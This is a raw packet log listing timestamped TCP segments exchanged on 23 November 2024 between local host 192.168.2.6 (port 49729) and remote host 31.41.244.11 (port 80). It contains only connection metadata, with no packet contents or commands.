Nov 23, 2024 13:28:14.508375883 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.509270906 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.509371996 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.509414911 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.509471893 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.510222912 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.510282993 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.510303020 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.510327101 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.511192083 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.511260033 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.511291027 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.511337042 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.512139082 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.512229919 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.512258053 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.512315989 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.513143063 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.513197899 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.513245106 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.513292074 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.514110088 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.514164925 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.514210939 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.514276028 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.515130997 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.515242100 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.515261889 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.515302896 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.516092062 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.516159058 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.516169071 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.516258955 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.517069101 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.517121077 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.517154932 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.517225027 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.518049002 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.518142939 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.518153906 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.518357038 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.519028902 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.519129038 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.519156933 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.519212008 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.520029068 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.520093918 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.520136118 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.520275116 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.520977974 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.521034002 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.521078110 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.521141052 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.522001982 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.522068024 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.522113085 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.522188902 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.523063898 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.523081064 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.523124933 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.523159981 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.523958921 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.524028063 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.524065971 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.524197102 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.524925947 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.524983883 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.525028944 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.525110960 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.525897026 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.525965929 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.526004076 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.526091099 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.526874065 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.527004004 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.527024031 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.527084112 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.527899981 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.527965069 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.528093100 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.528178930 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.528866053 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.528961897 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.528990030 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.529045105 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.529884100 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.529989004 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.530006886 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.530092001 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.530823946 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.530940056 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.530988932 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.530988932 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.531982899 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.532052040 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.532102108 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.532102108 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.532799959 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.532906055 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.532917023 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.532968044 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.533787966 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.533850908 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.533866882 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.534018993 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.534766912 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.534837008 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.534842968 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.534985065 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.535747051 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.535804033 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.535847902 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.535953045 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.536752939 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.536814928 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.536878109 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.536994934 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.537712097 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.537769079 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.537800074 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.537925959 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.538697958 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.538769960 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.538784027 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.538991928 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.539684057 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.539799929 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.539835930 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.539849997 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.540719032 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.540827990 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.540854931 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.540895939 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.541639090 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.541749001 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.541773081 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.541800022 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.542639017 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.542695999 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.542720079 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.542804956 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.543617964 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.543704033 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.543751001 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.543751001 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.544605017 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.544672966 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.544698000 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.544857025 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.545577049 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.545651913 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.545687914 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.545751095 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.546684027 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.546753883 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.546931982 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.547019005 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.547631025 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.547698975 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.697432995 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.697585106 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.697617054 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.697655916 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.697905064 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.698026896 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.698040962 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.698098898 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.698883057 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.698986053 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.699024916 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.699054956 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.699889898 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.699986935 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.700006008 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.700092077 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.700850010 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.700937033 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.700973988 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.701057911 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.701819897 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.701888084 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.701888084 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.702419043 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.702858925 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.702909946 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.702946901 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.703054905 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.703780890 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.703839064 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.703943968 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.704020023 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.704879999 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.704982042 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.704994917 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.705037117 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.705754042 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.705836058 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.705876112 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.705941916 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.706732988 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.706845045 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.706851006 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.707015991 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.707726955 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.707830906 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.707835913 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.707894087 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.709127903 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.709193945 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.709270000 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.709362984 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.709764957 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.709824085 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.709842920 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.709882021 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.710714102 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.710798979 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.710809946 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.710927963 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.711668968 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.711771965 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.711793900 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.711865902 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.712790966 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.712905884 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.712919950 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.713102102 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.713690996 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.713764906 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.713812113 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.714005947 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.714684010 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.714746952 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.714785099 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.714828968 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.715593100 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.715694904 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.715728045 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.715774059 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.716680050 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.716778994 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.716815948 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.716876984 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.717571974 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.717633009 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.717699051 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.717802048 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.718549967 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.718635082 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.718671083 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.718724966 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.719546080 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.719611883 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.719681978 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.719810009 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.720515013 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.720530987 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.720567942 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.720643044 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.721528053 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.721626043 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.721710920 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.722475052 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.722594976 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.722711086 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.723566055 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.723678112 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.723690987 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.723763943 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.724452019 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.724617958 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.724637032 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.724761963 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.725513935 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.725578070 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.725629091 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.725629091 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.726453066 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.726536036 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.726607084 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.727400064 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.727466106 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.727495909 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.727566004 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.728380919 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.728472948 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.728504896 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.728621960 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.729471922 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.729522943 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.729557991 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.729593039 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.730359077 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.730453014 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.730545998 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.731362104 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.731420040 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.731466055 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.731466055 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.732325077 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.732378006 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.732410908 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.732659101 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.733338118 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.733438015 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.733441114 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.733479023 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.734288931 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.734405041 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.734519005 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.735282898 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.735341072 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.735399008 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.735450983 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.736289024 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.736365080 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.736366034 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.736409903 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.737251043 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.737354994 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.737447023 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.738220930 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.738317966 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.738528013 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.739243984 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.739329100 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.739352942 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.739434958 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.740191936 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.740256071 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.740262985 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.740333080 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.741174936 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.741269112 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.741282940 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.741400003 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.742142916 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.742242098 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:14.742363930 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:14.743139029 CET	80	49729	31.41.244.11	192.168.2.6
